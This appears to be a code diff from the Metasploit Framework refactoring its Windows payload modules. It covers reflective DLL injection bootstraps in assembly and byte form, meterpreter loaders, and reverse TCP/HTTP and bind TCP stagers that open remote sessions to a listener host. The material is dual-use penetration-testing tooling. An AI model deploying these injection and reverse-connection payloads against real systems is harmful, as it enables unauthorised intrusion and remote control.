push #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
|
||||
push 5 ; indicate that we have detached
|
||||
push eax ; push some arbitrary value for hInstance
|
||||
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
|
||||
^
|
||||
end
|
||||
|
||||
def stage_payload
|
||||
# Exceptions will be thrown by the mixin if there are issues.
|
||||
dll, offset = load_rdi_dll(library_path)
|
||||
|
||||
exit_funk = [ @@exit_types['thread'] ].pack( "V" ) # Default to ExitThread for migration
|
||||
asm_opts = {
|
||||
rdi_offset: offset,
|
||||
exitfunk: 'thread' # default to 'thread' for migration
|
||||
}
|
||||
|
||||
bootstrap = "\x4D" + # dec ebp ; M
|
||||
"\x5A" + # pop edx ; Z
|
||||
"\xE8\x00\x00\x00\x00" + # call 0 ; call next instruction
|
||||
"\x5B" + # pop ebx ; get our location (+7)
|
||||
"\x52" + # push edx ; push edx back
|
||||
"\x45" + # inc ebp ; restore ebp
|
||||
"\x55" + # push ebp ; save ebp
|
||||
"\x89\xE5" + # mov ebp, esp ; setup fresh stack frame
|
||||
"\x81\xC3" + [offset-7].pack( "V" ) + # add ebx, 0x???????? ; add offset to ReflectiveLoader
|
||||
"\xFF\xD3" + # call ebx ; call ReflectiveLoader
|
||||
"\x89\xC3" + # mov ebx, eax ; save DllMain for second call
|
||||
"\x57" + # push edi ; our socket
|
||||
"\x68\x04\x00\x00\x00" + # push 0x4 ; signal we have attached
|
||||
"\x50" + # push eax ; some value for hinstance
|
||||
"\xFF\xD0" + # call eax ; call DllMain( somevalue, DLL_METASPLOIT_ATTACH, socket )
|
||||
"\x68" + exit_funk + # push 0x???????? ; our EXITFUNC placeholder
|
||||
"\x68\x05\x00\x00\x00" + # push 0x5 ; signal we have detached
|
||||
"\x50" + # push eax ; some value for hinstance
|
||||
"\xFF\xD3" # call ebx ; call DllMain( somevalue, DLL_METASPLOIT_DETACH, exitfunk )
|
||||
asm = asm_invoke_dll(asm_opts)
|
||||
|
||||
# generate the bootstrap asm
|
||||
bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
|
||||
|
||||
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
|
||||
if( bootstrap.length > 62 )
|
||||
print_error( "Reflective Dll Injection (x86) generated an oversized bootstrap!" )
|
||||
return
|
||||
if bootstrap.length > 62
|
||||
raise RuntimeError, "Reflective DLL Injection (x86) generated an oversized bootstrap!"
|
||||
end
|
||||
|
||||
# patch the bootstrap code into the dll's DOS header...
|
||||
dll[ 0, bootstrap.length ] = bootstrap
|
||||
|
||||
# patch in the timeout options
|
||||
timeout_opts = {
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
}
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts)
|
||||
|
||||
# patch the target ID into the URI if specified
|
||||
if target_id
|
||||
i = dll.index("/123456789 HTTP/1.0\r\n\r\n\x00")
|
||||
if i
|
||||
t = target_id.to_s
|
||||
raise "Target ID must be less than 5 bytes" if t.length > 4
|
||||
u = "/B#{t} HTTP/1.0\r\n\r\n\x00"
|
||||
print_status("Patching Target ID #{t} into DLL")
|
||||
dll[i, u.length] = u
|
||||
end
|
||||
end
|
||||
|
||||
# return our stage to be loaded by the intermediate stager
|
||||
return dll
|
||||
dll
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/block_api'
|
||||
require 'msf/core/payload/windows/exitfunk'
|
||||
require 'msf/core/payload/uuid_options'
|
||||
|
@ -17,6 +18,7 @@ module Msf
|
|||
|
||||
module Payload::Windows::ReverseHttp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi
|
||||
include Msf::Payload::Windows::Exitfunk
|
||||
|
@ -85,6 +87,13 @@ module Payload::Windows::ReverseHttp
|
|||
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_http(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the URI for the initial stager
|
||||
#
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/reverse_http'
|
||||
|
||||
module Msf
|
||||
|
@ -15,6 +16,7 @@ module Msf
|
|||
|
||||
module Payload::Windows::ReverseHttps
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows::ReverseHttp
|
||||
|
||||
#
|
||||
|
@ -64,6 +66,13 @@ module Payload::Windows::ReverseHttps
|
|||
generate_reverse_https(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_https(opts)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/block_api'
|
||||
require 'msf/core/payload/windows/exitfunk'
|
||||
|
||||
|
@ -14,41 +15,35 @@ module Msf
|
|||
|
||||
module Payload::Windows::ReverseTcp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi
|
||||
include Msf::Payload::Windows::Exitfunk
|
||||
|
||||
#
|
||||
# Register reverse_tcp specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_reverse_tcp(
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
)
|
||||
end
|
||||
|
||||
conf = {
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
reliable: true
|
||||
reliable: false
|
||||
}
|
||||
|
||||
# Generate the advanced stager if we have space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
generate_reverse_tcp(conf)
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_tcp(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/block_api'
|
||||
require 'msf/core/payload/windows/exitfunk'
|
||||
require 'msf/core/payload/windows/reverse_http'
|
||||
|
@ -17,15 +18,9 @@ module Msf
|
|||
|
||||
module Payload::Windows::ReverseWinHttp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows::ReverseHttp
|
||||
|
||||
#
|
||||
# Register reverse_winhttp specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
|
@ -52,6 +47,9 @@ module Payload::Windows::ReverseWinHttp
|
|||
generate_reverse_winhttp(conf)
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_http(opts)
|
||||
end
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
|
@ -371,6 +369,8 @@ module Payload::Windows::ReverseWinHttp
|
|||
pop eax ; clear the temporary storage
|
||||
|
||||
execute_stage:
|
||||
xor edi, edi ; clear EDI, so we don't mislead meterpreter into
|
||||
; thinking it has a valid socket to play with
|
||||
ret ; dive into the stored stage address
|
||||
|
||||
got_server_uri:
|
||||
|
|
|
@ -1,8 +1,10 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/reverse_winhttp'
|
||||
require 'msf/core/payload/windows/verify_ssl'
|
||||
require 'rex/payloads/meterpreter/uri_checksum'
|
||||
|
||||
module Msf
|
||||
|
||||
|
@ -16,6 +18,7 @@ module Msf
|
|||
|
||||
module Payload::Windows::ReverseWinHttps
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows::ReverseWinHttp
|
||||
include Msf::Payload::Windows::VerifySsl
|
||||
|
||||
|
@ -82,6 +85,10 @@ module Payload::Windows::ReverseWinHttps
|
|||
generate_reverse_winhttps(conf)
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_https(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
|
|
|
@ -1,121 +0,0 @@
|
|||
#-*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/payloads/meterpreter/patch'
|
||||
|
||||
module Msf
|
||||
|
||||
##
|
||||
#
|
||||
# Implements stageless invocation of metsrv in x86
|
||||
#
|
||||
##
|
||||
|
||||
module Payload::Windows::StagelessMeterpreter
|
||||
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::ReflectiveDLLLoader
|
||||
|
||||
def asm_invoke_metsrv(opts={})
|
||||
asm = %Q^
|
||||
; prologue
|
||||
dec ebp ; 'M'
|
||||
pop edx ; 'Z'
|
||||
call $+5 ; call next instruction
|
||||
pop ebx ; get the current location (+7 bytes)
|
||||
push edx ; restore edx
|
||||
inc ebp ; restore ebp
|
||||
push ebp ; save ebp for later
|
||||
mov ebp, esp ; set up a new stack frame
|
||||
; Invoke ReflectiveLoader()
|
||||
; add the offset to ReflectiveLoader() (0x????????)
|
||||
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
|
||||
call ebx ; invoke ReflectiveLoader()
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
|
||||
; offset from ReflectiveLoader() to the end of the DLL
|
||||
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
|
||||
push ebx ; push the pointer to the extension list
|
||||
push 4 ; indicate that we have attached
|
||||
push eax ; push some arbitrary value for hInstance
|
||||
mov ebx, eax ; save DllMain for another call
|
||||
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
|
||||
; push the exitfunk value onto the stack
|
||||
push #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
|
||||
push 5 ; indicate that we have detached
|
||||
push eax ; push some arbitrary value for hInstance
|
||||
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
|
||||
^
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
def generate_stageless_x86(url = nil)
|
||||
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))
|
||||
|
||||
conf = {
|
||||
:rdi_offset => offset,
|
||||
:length => dll.length,
|
||||
:exitfunk => datastore['EXITFUNC']
|
||||
}
|
||||
|
||||
asm = asm_invoke_metsrv(conf)
|
||||
|
||||
# generate the bootstrap asm
|
||||
bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
|
||||
|
||||
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
|
||||
if bootstrap.length > 62
|
||||
print_error("Stageless Meterpreter generated with oversized x86 bootstrap.")
|
||||
return
|
||||
end
|
||||
|
||||
# patch the binary with all the stuff
|
||||
dll[0, bootstrap.length] = bootstrap
|
||||
|
||||
# the URL might not be given, as it might be patched in some other way
|
||||
if url
|
||||
# Patch the URL using the patcher as this supports both ASCII and WCHAR.
|
||||
unless Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00")
|
||||
# If the patching failed this could mean that we are somehow
|
||||
# working with outdated binaries, so try to patch with the
|
||||
# old stuff.
|
||||
Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00")
|
||||
end
|
||||
end
|
||||
|
||||
# Patch in the timeout options
|
||||
timeout_opts = {
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i
|
||||
}
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts)
|
||||
|
||||
# if a block is given then call that with the meterpreter dll
|
||||
# so that custom patching can happen if required
|
||||
yield dll if block_given?
|
||||
|
||||
# append each extension to the payload, including
|
||||
# the size of the extension
|
||||
unless datastore['EXTENSIONS'].nil?
|
||||
datastore['EXTENSIONS'].split(',').each do |e|
|
||||
e = e.strip.downcase
|
||||
ext, o = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{e}", 'x86.dll'))
|
||||
|
||||
# append the size, offset to RDI and the payload itself
|
||||
dll << [ext.length].pack('V') + ext
|
||||
end
|
||||
end
|
||||
|
||||
# Terminate the "list" of extensions
|
||||
dll + [0].pack('V')
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -1,6 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/x64/block_api'
|
||||
require 'msf/core/payload/windows/x64/exitfunk'
|
||||
|
||||
|
@ -14,36 +15,33 @@ module Msf
|
|||
|
||||
module Payload::Windows::BindTcp_x64
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi_x64
|
||||
include Msf::Payload::Windows::Exitfunk_x64
|
||||
|
||||
def close_listen_socket
|
||||
datastore['StagerCloseListenSocket'].nil? || datastore['StagerCloseListenSocket'] == true
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_bind_tcp(
|
||||
port: datastore['LPORT'],
|
||||
close_socket: close_listen_socket
|
||||
)
|
||||
end
|
||||
|
||||
conf = {
|
||||
port: datastore['LPORT'],
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
close_socket: close_listen_socket,
|
||||
reliable: true
|
||||
port: datastore['LPORT'],
|
||||
reliable: false
|
||||
}
|
||||
|
||||
# Generate the more advanced stager if we have the space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC'],
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
generate_bind_tcp(conf)
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_bind_tcp(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
|
@ -66,21 +64,17 @@ module Payload::Windows::BindTcp_x64
|
|||
def required_space
|
||||
# Start with our cached default generated size
|
||||
# TODO: need help with this from the likes of HD.
|
||||
space = 277
|
||||
space = cached_size
|
||||
|
||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
|
||||
# EXITFUNK unset will still call ExitProces, which adds 7 bytes (accounted for above)
|
||||
|
||||
# TODO: this is coming soon
|
||||
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
|
||||
#space += 14
|
||||
|
||||
# if the payload doesn't need the listen socket closed then we save space. This is
|
||||
# the case for meterpreter payloads, as metsrv now closes the listen socket once it
|
||||
# kicks off (needed for more reliable shells).
|
||||
space -= 11 unless close_listen_socket
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
@ -94,7 +88,6 @@ module Payload::Windows::BindTcp_x64
|
|||
#
|
||||
def asm_bind_tcp(opts={})
|
||||
reliable = opts[:reliable]
|
||||
close_socket = opts[:close_socket]
|
||||
encoded_port = "0x%.16x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
|
||||
asm = %Q^
|
||||
|
@ -150,23 +143,11 @@ module Payload::Windows::BindTcp_x64
|
|||
mov rcx, rdi ; listening socket
|
||||
mov r10d, 0xE13BEC74 ; hash( "ws2_32.dll", "accept" )
|
||||
call rbp ; accept( s, 0, 0 );
|
||||
^
|
||||
|
||||
if close_socket
|
||||
asm << %Q^
|
||||
; perform the call to closesocket...
|
||||
mov rcx, rdi ; the listening socket to close
|
||||
mov rdi, rax ; swap the new connected socket over the listening socket
|
||||
mov r10d, 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
|
||||
call rbp ; closesocket( s );
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
mov rdi, rax ; swap the new connected socket over the listening socket
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
; restore RSP so we dont have any alignment issues with the next block...
|
||||
add rsp, #{408+8+8*4+32*7} ; cleanup the stack allocations
|
||||
|
||||
|
|
|
@ -40,14 +40,14 @@ module Payload::Windows::Exitfunk_x64
|
|||
mov r10d, 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
|
||||
call rbp ; GetVersion(); (AL will = major version and AH will = minor version)
|
||||
add rsp, 40 ; cleanup the default param space on stack
|
||||
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
|
||||
jl short goodbye ; Then just call the exit function...
|
||||
cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7
|
||||
jl exitfunk_goodbye ; Then just call the exit function...
|
||||
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on
|
||||
; Windows Vista, 2008 or 7...
|
||||
jne short goodbye ;
|
||||
jne exitfunk_goodbye ;
|
||||
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
|
||||
goodbye: ; We now perform the actual call to the exit function
|
||||
push byte 0 ;
|
||||
exitfunk_goodbye: ; We now perform the actual call to the exit function
|
||||
push 0 ;
|
||||
pop rcx ; set the exit function parameter
|
||||
mov r10d, ebx ; place the correct EXITFUNK into r10d
|
||||
call rbp ; call EXITFUNK( 0 );
|
||||
|
|
|
@ -0,0 +1,102 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/reflective_dll_loader'
|
||||
|
||||
module Msf
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Common module stub for ARCH_X86_64 payloads that make use of Meterpreter.
|
||||
#
|
||||
###
|
||||
|
||||
|
||||
module Payload::Windows::MeterpreterLoader_x64
|
||||
|
||||
include Msf::ReflectiveDLLLoader
|
||||
include Msf::Payload::Windows
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Reflective DLL Injection',
|
||||
'Description' => 'Inject a DLL via a reflective loader',
|
||||
'Author' => [ 'sf', 'OJ Reeves' ],
|
||||
'References' => [
|
||||
[ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ], # original
|
||||
[ 'URL', 'https://github.com/rapid7/ReflectiveDLLInjection' ] # customisations
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'PayloadCompat' => { 'Convention' => 'sockrdi' },
|
||||
'Stage' => { 'Payload' => "" }
|
||||
))
|
||||
end
|
||||
|
||||
def asm_invoke_metsrv(opts={})
|
||||
asm = %Q^
|
||||
; prologue
|
||||
db 0x4d, 0x5a ; 'MZ' = "pop r10"
|
||||
push r10 ; back to where we started
|
||||
push rbp ; save rbp
|
||||
mov rbp, rsp ; set up a new stack frame
|
||||
sub rsp, 32 ; allocate some space for calls.
|
||||
; GetPC
|
||||
call $+5 ; relative call to get location
|
||||
pop rbx ; pop return value
|
||||
; Invoke ReflectiveLoader()
|
||||
; add the offset to ReflectiveLoader()
|
||||
add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x11)}
|
||||
call rbx ; invoke ReflectiveLoader()
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
|
||||
; offset from ReflectiveLoader() to the end of the DLL
|
||||
add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
|
||||
^
|
||||
|
||||
unless opts[:stageless]
|
||||
asm << %Q^
|
||||
; store the comms socket handle
|
||||
mov dword ptr [rbx], edi
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
mov r8, rbx ; r8 points to the extension list
|
||||
push 4 ; push up 4, indicate that we have attached
|
||||
pop rdx ; pop 4 into rdx
|
||||
call rax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
|
||||
^
|
||||
end
|
||||
|
||||
def stage_meterpreter(stageless=false)
|
||||
# Exceptions will be thrown by the mixin if there are issues.
|
||||
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll'))
|
||||
|
||||
asm_opts = {
|
||||
rdi_offset: offset,
|
||||
length: dll.length,
|
||||
stageless: stageless
|
||||
}
|
||||
|
||||
asm = asm_invoke_metsrv(asm_opts)
|
||||
|
||||
# generate the bootstrap asm
|
||||
bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
|
||||
|
||||
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
|
||||
if bootstrap.length > 62
|
||||
raise RuntimeError, "Meterpreter loader (x64) generated an oversized bootstrap!"
|
||||
end
|
||||
|
||||
# patch the bootstrap code into the dll's DOS header...
|
||||
dll[ 0, bootstrap.length ] = bootstrap
|
||||
|
||||
dll
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
@ -30,10 +30,7 @@ module Payload::Windows::ReflectiveDllInject_x64
|
|||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'PayloadCompat' => { 'Convention' => 'sockrdi' },
|
||||
'Stage' => {
|
||||
'Offsets' => { 'EXITFUNC' => [ 47, 'V' ] },
|
||||
'Payload' => ""
|
||||
}
|
||||
'Stage' => { 'Payload' => "" }
|
||||
))
|
||||
|
||||
register_options( [ OptPath.new( 'DLL', [ true, "The local path to the Reflective DLL to upload" ] ), ], self.class )
|
||||
|
@ -43,52 +40,60 @@ module Payload::Windows::ReflectiveDllInject_x64
|
|||
datastore['DLL']
|
||||
end
|
||||
|
||||
def asm_invoke_dll(opts={})
|
||||
asm = %Q^
|
||||
; prologue
|
||||
db 0x4d, 0x5a ; 'MZ' = "pop r10"
|
||||
push r10 ; back to where we started
|
||||
push rbp ; save rbp
|
||||
mov rbp, rsp ; set up a new stack frame
|
||||
sub rsp, 32 ; allocate some space for calls.
|
||||
; GetPC
|
||||
call $+5 ; relative call to get location
|
||||
pop rbx ; pop return value
|
||||
; Invoke ReflectiveLoader()
|
||||
; add the offset to ReflectiveLoader()
|
||||
add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x11)}
|
||||
call rbx ; invoke ReflectiveLoader()
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
|
||||
; offset from ReflectiveLoader() to the end of the DLL
|
||||
mov r8, rdi ; r8 contains the socket
|
||||
mov rbx, rax ; save DllMain for another call
|
||||
push 4 ; push up 4, indicate that we have attached
|
||||
pop rdx ; pop 4 into rdx
|
||||
call rbx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
|
||||
; push the exitfunk value onto the stack
|
||||
mov r8d, #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
|
||||
push 5 ; push 5, indicate that we have detached
|
||||
pop rdx ; pop 5 into rdx
|
||||
call rbx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
|
||||
^
|
||||
end
|
||||
|
||||
def stage_payload
|
||||
# Exceptions will be thrown by the mixin if there are issues.
|
||||
dll, offset = load_rdi_dll(library_path)
|
||||
|
||||
exit_funk = [ @@exit_types['thread'] ].pack( "V" ) # Default to ExitThread for migration
|
||||
|
||||
bootstrap = "\x4D\x5A" + # pop r10 ; pop r10 = 'MZ'
|
||||
"\x41\x52" + # push r10 ; push r10 back
|
||||
"\x55" + # push rbp ; save ebp
|
||||
"\x48\x89\xE5" + # mov rbp, rsp ; setup fresh stack frame
|
||||
"\x48\x81\xEC\x20\x00\x00\x00" + # sub rsp, 32 ; alloc some space for calls
|
||||
"\x48\x8D\x1D\xEA\xFF\xFF\xFF" + # lea rbx, [rel+0] ; get virtual address for the start of this stub
|
||||
"\x48\x81\xC3" + [offset].pack( "V" ) + # add rbx, 0x???????? ; add offset to ReflectiveLoader
|
||||
"\xFF\xD3" + # call rbx ; call ReflectiveLoader()
|
||||
"\x48\x89\xC3" + # mov rbx, rax ; save DllMain for second call
|
||||
"\x49\x89\xF8" + # mov r8, rdi ; R8 = our socket
|
||||
"\x68\x04\x00\x00\x00" + # push 4 ;
|
||||
"\x5A" + # pop rdx ; RDX = signal we have attached
|
||||
"\xFF\xD0" + # call rax ; call DllMain( somevalue, DLL_METASPLOIT_ATTACH, socket )
|
||||
"\x41\xB8" + exit_funk + # mov r8d, 0x???????? ; our EXITFUNC placeholder
|
||||
"\x68\x05\x00\x00\x00" + # push 5 ;
|
||||
"\x5A" + # pop rdx ; signal we have detached
|
||||
"\xFF\xD3" # call rbx ; call DllMain( somevalue, DLL_METASPLOIT_DETACH, exitfunk )
|
||||
# the DOS headers e_lfanew entry will begin here at offset 64.
|
||||
|
||||
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
|
||||
if( bootstrap.length > 62 )
|
||||
print_error( "Reflective Dll Injection (x64) generated an oversized bootstrap!" )
|
||||
return
|
||||
end
|
||||
|
||||
# patch in the timeout options
|
||||
timeout_opts = {
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
asm_opts = {
|
||||
rdi_offset: offset,
|
||||
exitfunk: 'thread' # default to 'thread' for migration
|
||||
}
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts)
|
||||
asm = asm_invoke_dll(asm_opts)
|
||||
|
||||
# generate the bootstrap asm
|
||||
bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
|
||||
|
||||
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
|
||||
if bootstrap.length > 62
|
||||
raise RuntimeError, "Reflective DLL Injection (x64) generated an oversized bootstrap!"
|
||||
end
|
||||
|
||||
# patch the bootstrap code into the dll's DOS header...
|
||||
dll[ 0, bootstrap.length ] = bootstrap
|
||||
|
||||
# return our stage to be loaded by the intermediate stager
|
||||
return dll
|
||||
dll
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/x64/block_api'
|
||||
require 'msf/core/payload/windows/x64/exitfunk'
|
||||
|
||||
|
@ -14,6 +15,7 @@ module Msf
|
|||
|
||||
module Payload::Windows::ReverseTcp_x64
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi_x64
|
||||
include Msf::Payload::Windows::Exitfunk_x64
|
||||
|
@ -29,24 +31,19 @@ module Payload::Windows::ReverseTcp_x64
|
|||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
# TODO: coming later
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
#if self.available_space.nil? || required_space > self.available_space
|
||||
# return generate_reverse_tcp(
|
||||
# port: datastore['LPORT'],
|
||||
# host: datastore['LHOST'],
|
||||
# retry_count: datastore['ReverseConnectRetries'],
|
||||
# )
|
||||
#end
|
||||
|
||||
conf = {
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
reliable: true
|
||||
reliable: false
|
||||
}
|
||||
|
||||
# Generate the advanced stager if we have space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
generate_reverse_tcp(conf)
|
||||
end
|
||||
|
||||
|
@ -66,6 +63,10 @@ module Payload::Windows::ReverseTcp_x64
